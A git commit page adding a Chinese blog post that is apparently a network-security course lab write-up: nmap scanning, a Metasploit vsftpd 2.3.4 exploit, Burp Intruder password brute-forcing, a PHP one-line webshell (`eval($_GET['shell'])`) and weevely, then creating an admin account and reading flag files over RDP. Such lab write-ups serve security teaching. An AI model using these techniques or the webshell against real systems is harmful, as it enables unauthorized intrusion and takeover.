mirror of
https://gitlab.com/game-loader/hugo.git
synced 2025-04-20 05:52:07 +08:00
add network_sec expr1 post
This commit is contained in:
parent
4e46213978
commit
d6b8dbbc91
181
content/posts/ex1.md
Normal file
181
content/posts/ex1.md
Normal file
@ -0,0 +1,181 @@
|
|||||||
|
+++
|
||||||
|
title = "Ex1"
|
||||||
|
author = ["Logic"]
|
||||||
|
date = 2022-03-17
|
||||||
|
draft = false
|
||||||
|
+++
|
||||||
|
|
||||||
|
## 任务一 {#任务一}
|
||||||
|
|
||||||
|
|
||||||
|
### 扫描目标主机 {#扫描目标主机}
|
||||||
|
|
||||||
|
1. ssh连接到kali实验机上
|
||||||
|

|
||||||
|
使用nmap扫描192.168.1.0网段的存活主机
|
||||||
|

|
||||||
|
可以看到通过Ping方法找到了网段中存活的三台主机,ip分别是192.168.1.2(操作机),192.168.1.3(目标机),192.168.1.4(目标机),实际上-sP选项在默认情况下并非仅仅发送ICMP包,而是发送一个ICMP回声请求和一个TCP报文到80端口。如果非特权用户执行,就发送一个SYN报文 (用connect()系统调用)到目标机的80端口。 当特权用户扫描局域网上的目标机时,会发送ARP请求(-PR)。使用这种地毯式Ping可以快速查看网段中的存活主机。
|
||||||
|
2. 探测两台存活主机的端口和操作系统的相关信息可以使用-A选项分别对两台目标机进行全面扫描,目前这个选项启用了操作系统检测(-O) 和版本扫描(-sV),以及其他一些后续添加的扫描功能。考虑到目标机和操作机在同一网段下且网络通畅,故可以使用-T4参数加速扫描过程。对第一台目标机(192.168.1.3)进行扫描的结果为:
|
||||||
|

|
||||||
|
可以看到21(ftp),22(ssh),23(telnet),25(smtp),80(http)等端口对应的服务及其相关的信息,同时可以看到它通过smb脚本给出的对系统信息的总结为
|
||||||
|

|
||||||
|
这里它推测目标机系统为Unix,且可能为Debian,但根据上面的一些服务对应的信息如ssl-cert,http server对应的信息也可以推测该系统为ubuntu,有关信息为
|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|
对第二台目标机(192.168.1.4)进行扫描的结果为:
|
||||||
|

|
||||||
|
可以看出目标主机开放了80端口,以及该端口对应的服务的信息。同时给出了对该目标机系统的猜测:
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
### 对目标机进行攻击 {#对目标机进行攻击}
|
||||||
|
|
||||||
|
在终端启动MSFCONSOLE,执行命令如下所示:
|
||||||
|
`root@simpleedu:~# msfconsole`
|
||||||
|

|
||||||
|
搜索所有有效的vsftpd模块 `search vsftpd` ,结果如下:
|
||||||
|

|
||||||
|
可见有一个有效的可用模块,且效果评级为excellent,这里我们注意到它给出了这样的提示
|
||||||
|

|
||||||
|
为了加快后续的搜索速度,我们重建cache
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
根据该模块可以看出该模块适用于vsftpd v2.3.4,根据之前端口扫描的结果可知
|
||||||
|

|
||||||
|
目标机对应的ftp服务正是vsftpd v2.3.4,我们载入这个模块并查看其用法
|
||||||
|

|
||||||
|
可见需要设定目标机地址和端口,我们设定好目标机地址为192.168.1.3
|
||||||
|

|
||||||
|
查找该模块可用的payload并载入payload
|
||||||
|

|
||||||
|
进行攻击,并查找扩展名为key的所有文件并查看1.key文件的内容
|
||||||
|

|
||||||
|
可知1.key中的内容为Metasploit
|
||||||
|
|
||||||
|
|
||||||
|
## 任务二 {#任务二}
|
||||||
|
|
||||||
|
|
||||||
|
### 扫描目标机网站目录结构 {#扫描目标机网站目录结构}
|
||||||
|
|
||||||
|
`nikto -h http://192.168.1.4 -c all`
|
||||||
|
-h用于设定目标主机,-c用于扫描目录,这里为了后续实验需要进入图形界面环境,我们切换至图形界面并打开图形界面如下:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
systemctl set-default graphical.target
|
||||||
|
init 5
|
||||||
|
```
|
||||||
|
|
||||||
|
然后用Vnc viewer连接至操作机即可。扫描目录结构的结果如下:
|
||||||
|

|
||||||
|
由倒数第三行可知在存在admin/login.php文件即为该网站的后台管理界面。浏览器查看管理界面如下:
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
### 创建字典文件 {#创建字典文件}
|
||||||
|
|
||||||
|
使用crunch命令,生成一个每行以admin开头加3位随机数字共8位字符串长度的字典文件。
|
||||||
|

|
||||||
|
使用-t指定生成格式,用%代表数字,最小长度和最大长度都是8,这样会生成以admin开头加三位数字的所有组合,-o指定输出到/root/password.txt文件中,查看该文件可知
|
||||||
|

|
||||||
|
可见已成功生成所有组合。
|
||||||
|
|
||||||
|
|
||||||
|
### 破解密码 {#破解密码}
|
||||||
|
|
||||||
|
在操作机上进入网站后台管理界面,并设置代理。
|
||||||
|

|
||||||
|
打开burpsuit,在管理界面输入用户名admin和密码aaccdd(任意的),登入,此时burpsuit会拦截对应的数据包。可以查看到提交的用户名和密码
|
||||||
|

|
||||||
|
在此空白处右键,选择[send to intruder]
|
||||||
|

|
||||||
|
点击主菜单的[intruder]可见已经根据请求将目标主机ip和端口设置好了
|
||||||
|

|
||||||
|
在Intruder-Position中设置,将自动设置的position[Clear]掉,然后在请求中password的地方点击[Add]添加position,设置攻击类型为[sniper],这种模式会依次尝试你设置变量的地方,先对一个位置进行尝试,其他位置不变,然后再改变下一个位置。我们只有一个爆破位置,故使用该模式即可。
|
||||||
|

|
||||||
|
在Intruder-Payloads中设置攻击载荷,选择[load],将刚才生成的password.txt中的数据加载进字典列表
|
||||||
|

|
||||||
|
点击start-attack开始攻击
|
||||||
|

|
||||||
|
等待爆破完成点击[length]对结果进行排序,只有一个结果长度与其他不同,可查看其对应的response
|
||||||
|

|
||||||
|
状态码为302表示网页被重定向,很可能是登陆成功,在response中没有明显的成功信息。我们关掉burpsuit的包拦截,并使用这个密码(admin452)尝试登陆。
|
||||||
|

|
||||||
|
登陆成功
|
||||||
|
|
||||||
|
|
||||||
|
## 任务三 {#任务三}
|
||||||
|
|
||||||
|
Webshell是黑客经常使用的一种恶意脚本,其目的是获得对服务器的执行操作权限,常见的webshell编写语言为asp、jsp和php。本次实验中使用php的webshell.
|
||||||
|
|
||||||
|
|
||||||
|
### 添加webshell {#添加webshell}
|
||||||
|
|
||||||
|
tag本是网站的一个插件,可以用于使用php编程,方便执行某些功能,但因system函数可以执行终端指令,故也可被用于执行一些恶意指令。首先利用这一特性查看当前网站在服务器上的目录
|
||||||
|

|
||||||
|
可知当前网站的管理页面目录为 `C:\phpStudy\WWW\admin` ,故可以使用echo指令向服务器根目录写入一个php文件,内容为一句话木马,即 `eval($_GET['shell'])` ,其中eval在php中为将参数字符串作为代码执行,$_GET变量用于收集来自 method="get" 的表单中的值,我们将其写入到admin文件夹下,如下:
|
||||||
|

|
||||||
|
点击apply,run之后系统就会运行echo指令将一句话木马写入hack.php文件中,此时该文件的功能与1.php类似,都可以执行通过GET传递的命令。这里需要注意的地方是echo写入的字符串中< >需要转义,故应写为^< 和 ^>,且system函数的参数字符串中的\\和'也需要转义,应写为\\\\和\\'。此时我们尝试通过写入的php文件执行指令,可得:
|
||||||
|

|
||||||
|
可见已成功获得一个webshell。
|
||||||
|
|
||||||
|
|
||||||
|
### 获取端口号 {#获取端口号}
|
||||||
|
|
||||||
|
执行指令 `tasklist /svc | findstr "TermService"` (tasklist会列出所有进程及其使用的服务)获得远程桌面服务对应的进程PID
|
||||||
|

|
||||||
|
然后通过 `netstat -ano | findstr "2140"` (netstat -a显示所有活跃或不活跃的端口及连接,-o显示进程PID便于查找)找到该PID对应的进程使用的端口号
|
||||||
|

|
||||||
|
可知端口号为45565
|
||||||
|
|
||||||
|
|
||||||
|
### 另外一种方法 {#另外一种方法}
|
||||||
|
|
||||||
|
除了利用命令写入文件,我们注意到网站后台提供了上传文件的功能,因此我们可以直接使用kali中的weevely生成一个有webshell的php文件并上传到网站后台,然后利用weevely连接。过程如下生成webshell
|
||||||
|

|
||||||
|
上传文件,将生成的webshell.php拖拽到此处
|
||||||
|

|
||||||
|
可以看到上传后的文件夹为uploads
|
||||||
|

|
||||||
|
利用weevely连接到webshell
|
||||||
|

|
||||||
|
可见连接成功
|
||||||
|
|
||||||
|
|
||||||
|
## 任务四 {#任务四}
|
||||||
|
|
||||||
|
|
||||||
|
### 添加用户 {#添加用户}
|
||||||
|
|
||||||
|
执行命令使用任务三中利用weevely获取到的shell,通过网页webshell执行的命令相同,只是需要将命令放入system()中通过GET请求提交即可,有双引号要转义,这里用weevely的shell方便查看格式化输出的结果。
|
||||||
|

|
||||||
|
查看本机的所有用户
|
||||||
|

|
||||||
|
可见添加成功
|
||||||
|
|
||||||
|
|
||||||
|
### 将用户加入管理员组 {#将用户加入管理员组}
|
||||||
|
|
||||||
|

|
||||||
|
查看管理员组信息
|
||||||
|

|
||||||
|
可见添加成功
|
||||||
|
|
||||||
|
|
||||||
|
### 以hacker用户身份登陆目标机 {#以hacker用户身份登陆目标机}
|
||||||
|
|
||||||
|
使用kali的rdesktop连接至目标机
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
### 更改2.key的权限 {#更改2-dot-key的权限}
|
||||||
|
|
||||||
|
右击属性->安全->高级->更改文件所有者为hacker,如下:
|
||||||
|

|
||||||
|
给hacker赋予对文件的完全控制权限
|
||||||
|

|
||||||
|

|
||||||
|
用记事本打开文件,可以看到内容为zenmap
|
||||||
|

|
Loading…
Reference in New Issue
Block a user